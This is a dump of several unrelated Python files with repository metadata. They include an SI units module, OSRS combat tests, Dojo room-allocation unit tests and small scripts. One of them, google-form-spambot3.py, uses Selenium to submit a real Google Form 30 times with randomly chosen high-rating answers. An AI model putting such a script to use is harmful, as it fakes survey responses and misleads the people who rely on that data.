| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
a633e3a67cfb4d4b813ffc85c10665f337dab548
| 3,773
|
py
|
Python
|
PyUnits/quantities/SIUnits.py
|
AngheloAlf/PyUnits
|
b78910c06a7176d02d3b2d63ea4ef905837532ae
|
[
"MIT"
] | null | null | null |
PyUnits/quantities/SIUnits.py
|
AngheloAlf/PyUnits
|
b78910c06a7176d02d3b2d63ea4ef905837532ae
|
[
"MIT"
] | null | null | null |
PyUnits/quantities/SIUnits.py
|
AngheloAlf/PyUnits
|
b78910c06a7176d02d3b2d63ea4ef905837532ae
|
[
"MIT"
] | null | null | null |
from __future__ import annotations
from ..TypesHelper import Number_t
from . import BaseQuantities
from ..unitRepresentation import Units
from ..prefixes import SIPrefixes
def meterUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1):
unit = BaseQuantities.LengthUnit(power=power)
exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10
if not isinstance(exp, int):
raise RuntimeError()
return Units.ValueUnits(value, unit, exp)
def centimeterUnit(value: Number_t, *, exp10: int=0, power: Number_t=1):
return meterUnit(value, exp10=exp10, prefix="c", power=power)
def millimeterUnit(value: Number_t, *, exp10: int=0, power: Number_t=1):
return meterUnit(value, exp10=exp10, prefix="m", power=power)
def kilometerUnit(value: Number_t, *, exp10: int=0, power: Number_t=1):
return meterUnit(value, exp10=exp10, prefix="k", power=power)
def hectareUnit(value: Number_t, *, exp10: int=0):
result = meterUnit(value, exp10=exp10+4, power=2)
return result
def litreUnit(value: Number_t, *, exp10: int=0):
result = meterUnit(value, exp10=exp10-3, power=3)
return result
def gramUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1):
unit = BaseQuantities.MassUnit(power=power)
exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10
if not isinstance(exp, int):
raise RuntimeError()
return Units.ValueUnits(value, unit, exp10)
def kilogramUnit(value: Number_t, *, exp10: int=0, power: Number_t=1):
return gramUnit(value, prefix="k", exp10=exp10, power=power)
def tonneUnit(value: Number_t, *, exp10: int=0, power: Number_t=1):
return kilogramUnit(value, exp10=exp10+3, power=power)
def kelvinUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1):
unit = BaseQuantities.TemperatureUnit(power=power)
exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10
if not isinstance(exp, int):
raise RuntimeError()
return Units.ValueUnits(value, unit, exp10)
def secondUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1):
unit = BaseQuantities.TimeUnit(power=power)
exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10
if not isinstance(exp, int):
raise RuntimeError()
return Units.ValueUnits(value, unit, exp10)
def minuteUnit(value: Number_t, *, exp10: int=0, power: Number_t=1):
return secondUnit(value*60, exp10=exp10, power=power)
def hourUnit(value: Number_t, *, exp10: int=0, power: Number_t=1):
return minuteUnit(value*60, exp10=exp10, power=power)
def dayUnit(value: Number_t, *, exp10: int=0, power: Number_t=1):
return hourUnit(value*24, exp10=exp10, power=power)
def molUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1):
unit = BaseQuantities.SubstanceUnit(power=power)
exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10
if not isinstance(exp, int):
raise RuntimeError()
return Units.ValueUnits(value, unit, exp10)
def ampereUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1):
unit = BaseQuantities.ElectricCurrentUnit(power=power)
exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10
if not isinstance(exp, int):
raise RuntimeError()
return Units.ValueUnits(value, unit, exp10)
def candelaUnit(value: Number_t, *, exp10: int=0, prefix: str="", power: Number_t=1):
unit = BaseQuantities.LuminousIntensityUnit(power=power)
exp = SIPrefixes.magnitudeFactor(prefix, unit.defaultPrefix)*power + exp10
if not isinstance(exp, int):
raise RuntimeError()
return Units.ValueUnits(value, unit, exp10)
| 42.393258
| 85
| 0.714816
| 500
| 3,773
| 5.32
| 0.13
| 0.086842
| 0.076692
| 0.108647
| 0.785714
| 0.758271
| 0.758271
| 0.735714
| 0.735714
| 0.735714
| 0
| 0.044842
| 0.154784
| 3,773
| 88
| 86
| 42.875
| 0.789276
| 0
| 0
| 0.42029
| 0
| 0
| 0.00106
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.246377
| false
| 0
| 0.072464
| 0.115942
| 0.565217
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
a6b41edafffc31eaa17ab15198a94c3a1b29757a
| 174
|
py
|
Python
|
mundo 1/aula 7/exer9.py
|
jonatan098/cursopython
|
6e4cbaef6229e230fdbc66d80ec1b5a089887b0d
|
[
"MIT"
] | null | null | null |
mundo 1/aula 7/exer9.py
|
jonatan098/cursopython
|
6e4cbaef6229e230fdbc66d80ec1b5a089887b0d
|
[
"MIT"
] | null | null | null |
mundo 1/aula 7/exer9.py
|
jonatan098/cursopython
|
6e4cbaef6229e230fdbc66d80ec1b5a089887b0d
|
[
"MIT"
] | 1
|
2020-02-22T17:21:05.000Z
|
2020-02-22T17:21:05.000Z
|
n = int(input('digite um numero '))
print(f'a tabuada de {n} e :')
print(f' {n*0} \n {n*1} \n {n*2} \n {n*3} \n {n*4} \n {n*5} \n {n*6} \n {n*7} \n {n*8} \n {n*9} \n {n*10}')
| 58
| 107
| 0.45977
| 47
| 174
| 1.702128
| 0.489362
| 0.25
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.085106
| 0.189655
| 174
| 3
| 107
| 58
| 0.48227
| 0
| 0
| 0
| 0
| 0.333333
| 0.765714
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.666667
| 0
| 0
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
a6fc6e832ce884a8060c3666ea4730d3b20ea092
| 75
|
py
|
Python
|
tests/unit/__init__.py
|
Onboard-Team/gltflib
|
1aef8e5edcd6336b170226b0666bf78f92f02ee9
|
[
"MIT"
] | 56
|
2019-06-17T10:46:25.000Z
|
2022-03-30T14:48:36.000Z
|
tests/unit/__init__.py
|
Onboard-Team/gltflib
|
1aef8e5edcd6336b170226b0666bf78f92f02ee9
|
[
"MIT"
] | 198
|
2019-11-15T03:33:25.000Z
|
2022-03-30T07:02:21.000Z
|
tests/unit/__init__.py
|
Onboard-Team/gltflib
|
1aef8e5edcd6336b170226b0666bf78f92f02ee9
|
[
"MIT"
] | 11
|
2019-10-15T01:37:05.000Z
|
2022-03-24T12:11:12.000Z
|
from .test_gltf import TestGLTF
from .test_gltf_model import TestGLTFModel
| 25
| 42
| 0.866667
| 11
| 75
| 5.636364
| 0.636364
| 0.258065
| 0.387097
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.106667
| 75
| 2
| 43
| 37.5
| 0.925373
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
471205cd3b7ef58ee1929e3ec0b1b0ed27e6c099
| 4,398
|
py
|
Python
|
osrsmath/tests/combat/test_dps.py
|
Palfore/OSRSmath
|
373eb1e7f9702b98de318b3c708084353626a177
|
[
"MIT"
] | 5
|
2020-06-30T06:51:25.000Z
|
2021-11-16T01:04:48.000Z
|
osrsmath/tests/combat/test_dps.py
|
Palfore/OSRS-Combat
|
373eb1e7f9702b98de318b3c708084353626a177
|
[
"MIT"
] | 15
|
2020-06-19T14:36:38.000Z
|
2021-04-16T16:17:08.000Z
|
osrsmath/tests/combat/test_dps.py
|
Palfore/OSRS-Combat
|
373eb1e7f9702b98de318b3c708084353626a177
|
[
"MIT"
] | null | null | null |
# Please fill me when you test things manually!
from osrsmath.skills.combat.fighter import Fighter, Player
from osrsmath.skills.combat.items import ITEM_DATABASE
import unittest
MAXED = {
'attack': 99,
'strength': 99,
'defence': 99,
}
BASE_70s = {
'attack': 70,
'strength': 70,
'defence': 70,
}
class MeleeGearCalculations(unittest.TestCase):
# Make a test for various gear setups: basic and special.
# def test_basic_player(self):
# fighter1 = Fighter.from_player(Player(MAXED, [
# 'Dragon scimitar',
# 'Dragon sq shield',
# ]))
# fighter2 = Fighter.from_player(Player(BASE_70s, [
# 'Dragon scimitar',
# 'Dragon sq shield',
# ]))
# assert len(fighter1.attacks) == 1
# attack1 = fighter1.attacks[0]
# assert attack1.attack_type == 'slash'
# assert attack1.attack_style == 'accurate'
# self.assertEqual(attack1.max_hit(fighter1, fighter2), 22)
# self.assertEqual(attack1.attack_roll(fighter1, fighter2), 14410)
# self.assertEqual(attack1.defence_roll(fighter1, fighter2), 10179)
# self.assertAlmostEqual(100*attack1.accuracy(fighter1, fighter2), 64.6762889)
# assert len(fighter2.attacks) == 1
# attack2 = fighter2.attacks[0]
# assert attack2.attack_type == 'slash'
# assert attack2.attack_style == 'accurate'
# self.assertEqual(attack2.max_hit(fighter2, fighter1), 16)
# self.assertEqual(attack2.attack_roll(fighter2, fighter1), 10611)
# self.assertEqual(attack2.defence_roll(fighter2, fighter1), 13572)
# self.assertAlmostEqual(100*attack2.accuracy(fighter2, fighter1), 39.0886318)
def test_basic_npc(self):
from osrsmath.skills.combat.monsters import MONSTER_DATABASE
fighter1 = Fighter.from_player(Player(MAXED, [
'Dragon scimitar',
'Dragon sq shield',
]))
fighter2 = Fighter.from_monster(MONSTER_DATABASE.find('Abyssal demon'), 'stab')
assert len(fighter1.attacks) == 1
attack1 = fighter1.attacks[0]
assert attack1.attack_type == 'slash'
assert attack1.attack_style == 'accurate'
self.assertEqual(attack1.max_hit(fighter1, fighter2), 22)
self.assertEqual(attack1.attack_roll(fighter1, fighter2), 14410)
self.assertEqual(attack1.defence_roll(fighter1, fighter2), 12096)
self.assertAlmostEqual(100*attack1.accuracy(fighter1, fighter2), 58.0251197)
assert len(fighter2.attacks) == 1
attack2 = fighter2.attacks[0]
assert attack2.attack_type == 'stab'
assert attack2.attack_style == 'aggressive'
self.assertEqual(attack2.max_hit(fighter2, fighter1), 8)
# self.assertEqual(attack2.attack_roll(fighter2, fighter1), 10611)
# self.assertEqual(attack2.defence_roll(fighter2, fighter1), 13572)
# self.assertAlmostEqual(100*attack2.accuracy(fighter2, fighter1), 39.0886318)
def test_void_melee(self):
pass
def test_salve(self):
pass
def test_slayer(self):
pass
# class RangedGearCalculations(unittest.TestCase):
# # Make a test for various gear setups: basic and special.
# def test_normal(self):
# fighter1 = Fighter.from_player(Player({
# 'attack': 99,
# 'strength': 99,
# 'defence': 99,
# }, [
# 'Dragon scimitar'
# ]
# ))
# fighter2 = Fighter.from_player(Player({
# 'attack': 70,
# 'strength': 70,
# 'defence': 70,
# }, [
# 'Dragon scimitar'
# ]
# ))
# print([a.summary(fighter1, fighter2) for a in fighter1.attacks])
# print([a.summary(fighter2, fighter1) for a in fighter2.attacks])
# # self.almostEqual()
# def test_void_melee(self):
# pass
# def test_salve(self):
# pass
# def test_slayer(self):
# pass
# class MagicGearCalculations(unittest.TestCase):
# # Make a test for various gear setups: basic and special.
# def test_normal(self):
# fighter1 = Fighter.from_player(Player({
# 'attack': 99,
# 'strength': 99,
# 'defence': 99,
# }, [
# 'Dragon scimitar'
# ]
# ))
# fighter2 = Fighter.from_player(Player({
# 'attack': 70,
# 'strength': 70,
# 'defence': 70,
# }, [
# 'Dragon scimitar'
# ]
# ))
# print([a.summary(fighter1, fighter2) for a in fighter1.attacks])
# print([a.summary(fighter2, fighter1) for a in fighter2.attacks])
# # self.almostEqual()
# def test_void_melee(self):
# pass
# def test_salve(self):
# pass
# def test_slayer(self):
# pass
| 28.374194
| 82
| 0.663938
| 505
| 4,398
| 5.681188
| 0.19604
| 0.031718
| 0.041478
| 0.056117
| 0.846288
| 0.825723
| 0.805507
| 0.736494
| 0.736494
| 0.736494
| 0
| 0.065644
| 0.199864
| 4,398
| 155
| 83
| 28.374194
| 0.749645
| 0.611642
| 0
| 0.075
| 0
| 0
| 0.079918
| 0
| 0
| 0
| 0
| 0
| 0.275
| 1
| 0.1
| false
| 0.075
| 0.1
| 0
| 0.225
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
5b25ffb549f6b48a81471d5eddac84ff4bf8b237
| 4,355
|
py
|
Python
|
google forms bot/google-form-spambot3.py
|
Pabloespe/Python-algorithms
|
5d24e74f857afbe01db957c69d17bfe7abb45640
|
[
"MIT"
] | null | null | null |
google forms bot/google-form-spambot3.py
|
Pabloespe/Python-algorithms
|
5d24e74f857afbe01db957c69d17bfe7abb45640
|
[
"MIT"
] | null | null | null |
google forms bot/google-form-spambot3.py
|
Pabloespe/Python-algorithms
|
5d24e74f857afbe01db957c69d17bfe7abb45640
|
[
"MIT"
] | null | null | null |
import time
import random
from selenium import webdriver
aux=0
while(aux<30):
chromedriver = "C:/Users/pablo/AppData/Local/Programs/Python/Python37-32/google form/chromedriver"
driver = webdriver.Chrome(chromedriver)
link = 'https://docs.google.com/forms/d/e/1FAIpQLSe6f_plp2wvQqq5slrHrLNWLGUJrFradUoqUdHpnFcd2DAZkA/viewform?usp=sf_link'
driver.get(link)
submit_xp = '//*[@id="mG61Hd"]/div/div[2]/div[3]/div[1]/div[1]/div/content/span'
submit = driver.find_element_by_xpath(submit_xp)
submit.click()
time.sleep(2)
xps = '//*[@id="mG61Hd"]/div/div[2]/div[2]/div['
xpm = ']/div[2]/div/content/div/label['
xpe = ']/div[2]/div/div[3]/div'
submit_xp = '//*[@id="mG61Hd"]/div/div[2]/div[3]/div[1]/div[1]/div[2]/content/span'
maxnum = [5,5,5,5,5] #number of choice for each questions
num_ans = []
for i in range(0, len(maxnum)):
num_ans.append(random.randint(4,maxnum[i]))
nqT = len(maxnum)
for i in range(2,nqT+1):
x_p = xps +str(i)+xpm + str(num_ans[i-1]) + xpe
print(x_p) #optional
d = driver.find_element_by_xpath(x_p)
d.click()
#time.sleep(random.randint(1,2))
#change the speed of clicking by reducing sleep time
time.sleep(0.1)
submit = driver.find_element_by_xpath(submit_xp)
submit.click()
time.sleep(0.2)
xps = '//*[@id="mG61Hd"]/div/div[2]/div[2]/div['
xpm = ']/div[2]/div/content/div/label['
xpe = ']/div[2]/div/div[3]/div'
submit_xp = '//*[@id="mG61Hd"]/div/div[2]/div[3]/div[1]/div[1]/div[2]/content/span'
maxnum = [5,5,5,5] #number of choice for each questions
num_ans = []
for i in range(0, len(maxnum)):
num_ans.append(random.randint(4,maxnum[i]))
nqT = len(maxnum)
for i in range(2,nqT+1):
x_p = xps +str(i)+xpm + str(num_ans[i-1]) + xpe
print(x_p) #optional
d = driver.find_element_by_xpath(x_p)
d.click()
#time.sleep(random.randint(1,2))
#change the speed of clicking by reducing sleep time
time.sleep(0.1)
submit = driver.find_element_by_xpath(submit_xp)
submit.click()
time.sleep(0.2)
xps = '//*[@id="mG61Hd"]/div/div[2]/div[2]/div['
xpm = ']/div[2]/div/content/div/label['
xpe = ']/div[2]/div/div[3]/div'
submit_xp = '//*[@id="mG61Hd"]/div/div[2]/div[3]/div[1]/div[1]/div[2]/content/span'
maxnum = [5,5,5,5,5,5,5,5] #number of choice for each questions
num_ans = []
for i in range(0, len(maxnum)):
num_ans.append(random.randint(4,maxnum[i]))
nqT = len(maxnum)
for i in range(2,nqT+1):
x_p = xps +str(i)+xpm + str(num_ans[i-1]) + xpe
print(x_p) #optional
d = driver.find_element_by_xpath(x_p)
d.click()
#time.sleep(random.randint(1,2))
#change the speed of clicking by reducing sleep time
time.sleep(0.1)
submit = driver.find_element_by_xpath(submit_xp)
submit.click()
time.sleep(0.2)
xps = '//*[@id="mG61Hd"]/div/div[2]/div[2]/div['
xpm = ']/div[2]/div/content/div/label['
xpe = ']/div[2]/div/div[3]/div'
submit_xp = '//*[@id="mG61Hd"]/div/div[2]/div[3]/div[1]/div[1]/div[2]/content/span'
maxnum = [5,5,5,5] #number of choice for each questions
num_ans = []
for i in range(0, len(maxnum)):
num_ans.append(random.randint(4,maxnum[i]))
nqT = len(maxnum)
for i in range(2,nqT+1):
x_p = xps +str(i)+xpm + str(num_ans[i-1]) + xpe
print(x_p) #optional
d = driver.find_element_by_xpath(x_p)
d.click()
#time.sleep(random.randint(1,2))
#change the speed of clicking by reducing sleep time
time.sleep(0.1)
submit = driver.find_element_by_xpath(submit_xp)
submit.click()
time.sleep(0.1)
xps = '//*[@id="mG61Hd"]/div/div[2]/div[2]/div['
xpm = ']/div[2]/div/content/div/label['
xpe = ']/div[2]/div/div[3]/div'
submit_xp = '//*[@id="mG61Hd"]/div/div[2]/div[3]/div[1]/div[1]/div[2]/content/span'
maxnum = [5,5,5] #number of choice for each questions
num_ans = []
for i in range(0, len(maxnum)):
num_ans.append(random.randint(4,maxnum[i]))
nqT = len(maxnum)
for i in range(2,nqT+1):
x_p = xps +str(i)+xpm + str(num_ans[i-1]) + xpe
print(x_p) #optional
d = driver.find_element_by_xpath(x_p)
d.click()
#time.sleep(random.randint(1,2))
#change the speed of clicking by reducing sleep time
time.sleep(0.1)
xinput='//*[@id="mG61Hd"]/div/div[2]/div[2]/div[4]/div[2]/div/div[1]/div/div[1]/input'
submit = driver.find_element_by_xpath(xinput)
submit.send_keys('Anonimo')
submit = driver.find_element_by_xpath(submit_xp)
submit.click()
time.sleep(0.2)
aux=aux+1
| 29.033333
| 121
| 0.662457
| 798
| 4,355
| 3.513784
| 0.112782
| 0.048502
| 0.072397
| 0.059914
| 0.869116
| 0.869116
| 0.858417
| 0.858417
| 0.850571
| 0.850571
| 0
| 0.046788
| 0.131343
| 4,355
| 150
| 122
| 29.033333
| 0.694422
| 0.143513
| 0
| 0.831776
| 0
| 0.084112
| 0.311776
| 0.275128
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.028037
| 0
| 0.028037
| 0.046729
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
75322c69d164a8b1249dd805b10076baf02130a3
| 95
|
py
|
Python
|
Aulas de Python Mundo 1/Curso Python #11 - Cores no terminal - Part 11.py
|
ErikDMCosta/Meu-Reposit-rio-do-Curso-de-Python-Mundo-1
|
085662603d1fc1963ea25e4b08ba887adc59fecd
|
[
"MIT"
] | null | null | null |
Aulas de Python Mundo 1/Curso Python #11 - Cores no terminal - Part 11.py
|
ErikDMCosta/Meu-Reposit-rio-do-Curso-de-Python-Mundo-1
|
085662603d1fc1963ea25e4b08ba887adc59fecd
|
[
"MIT"
] | null | null | null |
Aulas de Python Mundo 1/Curso Python #11 - Cores no terminal - Part 11.py
|
ErikDMCosta/Meu-Reposit-rio-do-Curso-de-Python-Mundo-1
|
085662603d1fc1963ea25e4b08ba887adc59fecd
|
[
"MIT"
] | null | null | null |
a = 3
b = 5
print('Os valores sรฃo \033[32;44m{}\033[m e \033[31;44m{}\033[m!!!'.format(a, b))
| 19
| 81
| 0.568421
| 22
| 95
| 2.454545
| 0.681818
| 0.222222
| 0.259259
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.271605
| 0.147368
| 95
| 4
| 82
| 23.75
| 0.395062
| 0
| 0
| 0
| 0
| 0.333333
| 0.62766
| 0.234043
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
7538214c4b0a06590a1c600ab0f6a6e94205daeb
| 21,291
|
py
|
Python
|
tests/test_dojo.py
|
BolajiOlajide/SpaceAllocator
|
562210eed7196cefaeb12bfae24823f8d7a2e094
|
[
"MIT"
] | 1
|
2017-08-14T15:06:05.000Z
|
2017-08-14T15:06:05.000Z
|
tests/test_dojo.py
|
BolajiOlajide/SpaceAllocator
|
562210eed7196cefaeb12bfae24823f8d7a2e094
|
[
"MIT"
] | null | null | null |
tests/test_dojo.py
|
BolajiOlajide/SpaceAllocator
|
562210eed7196cefaeb12bfae24823f8d7a2e094
|
[
"MIT"
] | null | null | null |
from os import path, sys
import os
import unittest
from models.dojo import Dojo
os.sys.path.append(path.dirname(path.dirname(path.abspath(__file__))))
class TestDojo(unittest.TestCase):
"""Test cases for the Dojo class"""
def setUpClass():
if os.path.isfile('data/db/fellow.db'):
os.remove(os.path.realpath("data/db/fellow.db"))
if os.path.isfile('data/db/office.db'):
os.remove(os.path.realpath("data/db/office.db"))
if os.path.isfile('data/db/livingspace.db'):
os.remove(os.path.realpath("data/db/livingspace.db"))
if os.path.isfile('data/db/staff.db'):
os.remove(os.path.realpath("data/db/staff.db"))
def test_random_room(self):
"""Return None because there is no room currently"""
rand_room = Dojo().get_random_room(Dojo().office_data)
self.assertFalse(rand_room)
def test_available_room(self):
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Orion', 'Meraki']
}
Dojo().create_room(arg)
available_rooms = Dojo().get_available_room(Dojo().office_data)
isOrion = 'ORION' in available_rooms
isMeraki = 'MERAKI' in available_rooms
self.assertTrue(isMeraki)
self.assertTrue(isOrion)
def test_purge_office(self):
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Orion', 'Meraki']
}
Dojo().create_room(arg)
Dojo().purge()
self.assertFalse('MERAKI' in Dojo().office_data)
self.assertFalse('ORION' in Dojo().office_data)
def test_purge_livingspace(self):
arg = {
"<room_type>": 'LIVINGSPACE',
"<room_name>": ['Piper', 'Idanre']
}
Dojo().create_room(arg)
Dojo().purge()
self.assertFalse('IDANRE' in Dojo().livingspace_data)
self.assertFalse('PIPER' in Dojo().livingspace_data)
def test_purge_fellow(self):
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": "FELLOW"
}
Dojo().add_person(arg)
Dojo().purge()
self.assertFalse('BOLAJI OLAJIDE' in Dojo().fellow_data)
def test_purge_staff(self):
arg = {
"<person_fname>": "Percila",
"<person_lname>": "Njira",
"<FELLOW/STAFF>": "STAFF"
}
Dojo().add_person(arg)
Dojo().purge()
self.assertFalse('PERCILA NJIRA' in Dojo().staff_data)
def test_existing_room(self):
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Pygo']
}
Dojo().create_room(arg)
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Pygo']
}
Dojo().create_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output, "The OFFICE, PYGO already exists!")
def test_invalid_room(self):
Dojo().purge()
arg = {
"<room_type>": 'CAR WASH',
"<room_name>": ['Pygo']
}
Dojo().create_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(
output, "Invalid Room Type. Room type can either be \'office\' or \'livingspace\'")
def test_existing_staff(self):
arg = {
"<person_fname>": "Percila",
"<person_lname>": "Njira",
"<FELLOW/STAFF>": "STAFF"
}
Dojo().add_person(arg)
arg = {
"<person_fname>": "Percila",
"<person_lname>": "Njira",
"<FELLOW/STAFF>": "STAFF"
}
Dojo().add_person(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output, "The STAFF, PERCILA NJIRA already exists.")
def test_existing_fellow(self):
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": "FELLOW"
}
Dojo().add_person(arg)
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": "FELLOW"
}
Dojo().add_person(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output, "The FELLOW, BOLAJI OLAJIDE already exists.")
def test_invalid_position(self):
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": "CATERER"
}
Dojo().add_person(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(
output, "Error! Individual must be either a fellow or a staff.")
def test_allocate_staff_no_office(self):
Dojo().purge()
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": "STAFF",
"<wants_accommodation>": "Y"
}
Dojo().add_person(arg)
Dojo().allocate_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(
output, "There is currently no vacant office in the Dojo")
def test_allocate_fellow_no_office(self):
Dojo().purge()
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": "FELLOW",
"<wants_accommodation>": "Y"
}
Dojo().add_person(arg)
Dojo().allocate_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-2]
self.assertEqual(
output, "There is currently no vacant office in the Dojo")
def test_allocate_fellow_no_livingspace(self):
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": "FELLOW",
"<wants_accommodation>": "Y"
}
Dojo().add_person(arg)
Dojo().allocate_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(
output, "There is currently no vacant Living Space in the Dojo")
def test_allocate_staff_with_accomodation(self):
Dojo().purge()
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
arg = {
"<room_type>": 'LIVINGSPACE',
"<room_name>": ['Piper']
}
Dojo().create_room(arg)
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": "STAFF",
"<wants_accommodation>": "Y"
}
Dojo().add_person(arg)
Dojo().allocate_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
output2 = sys.stdout.getvalue().strip().split("\n")[-2]
self.assertEqual(
output, "STAFF Members cannot be allocated Living Space.")
self.assertEqual(
output2, "BOLAJI OLAJIDE has been allocated the Office, ORION")
def test_allocate_fellow_with_accomodation(self):
Dojo().purge()
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
arg = {
"<room_type>": 'LIVINGSPACE',
"<room_name>": ['Piper']
}
Dojo().create_room(arg)
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": "FELLOW",
"<wants_accommodation>": "Y"
}
Dojo().add_person(arg)
Dojo().allocate_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
output2 = sys.stdout.getvalue().strip().split("\n")[-2]
self.assertEqual(
output, "BOLAJI OLAJIDE has been allocated the Living Space, PIPER")
self.assertEqual(
output2, "BOLAJI OLAJIDE has been allocated the Office, ORION")
def test_allocate_fellow_no_accomodation(self):
Dojo().purge()
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": "FELLOW",
"<wants_accommodation>": "N"
}
Dojo().add_person(arg)
Dojo().allocate_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(
output, "BOLAJI OLAJIDE has been allocated the Office, ORION")
def test_allocate_fellow_no_accomodation_no_office(self):
Dojo().purge()
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": "FELLOW",
"<wants_accommodation>": "N"
}
Dojo().add_person(arg)
Dojo().allocate_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(
output, "There is currently no vacant office in the Dojo")
def test_allocate_staff_no_accomodation(self):
Dojo().purge()
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": "STAFF",
"<wants_accommodation>": "N"
}
Dojo().add_person(arg)
Dojo().allocate_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(
output, "BOLAJI OLAJIDE has been allocated the Office, ORION")
def test_print_non_existing_room(self):
Dojo().purge()
arg = {
"<room_type>": 'OFFICE',
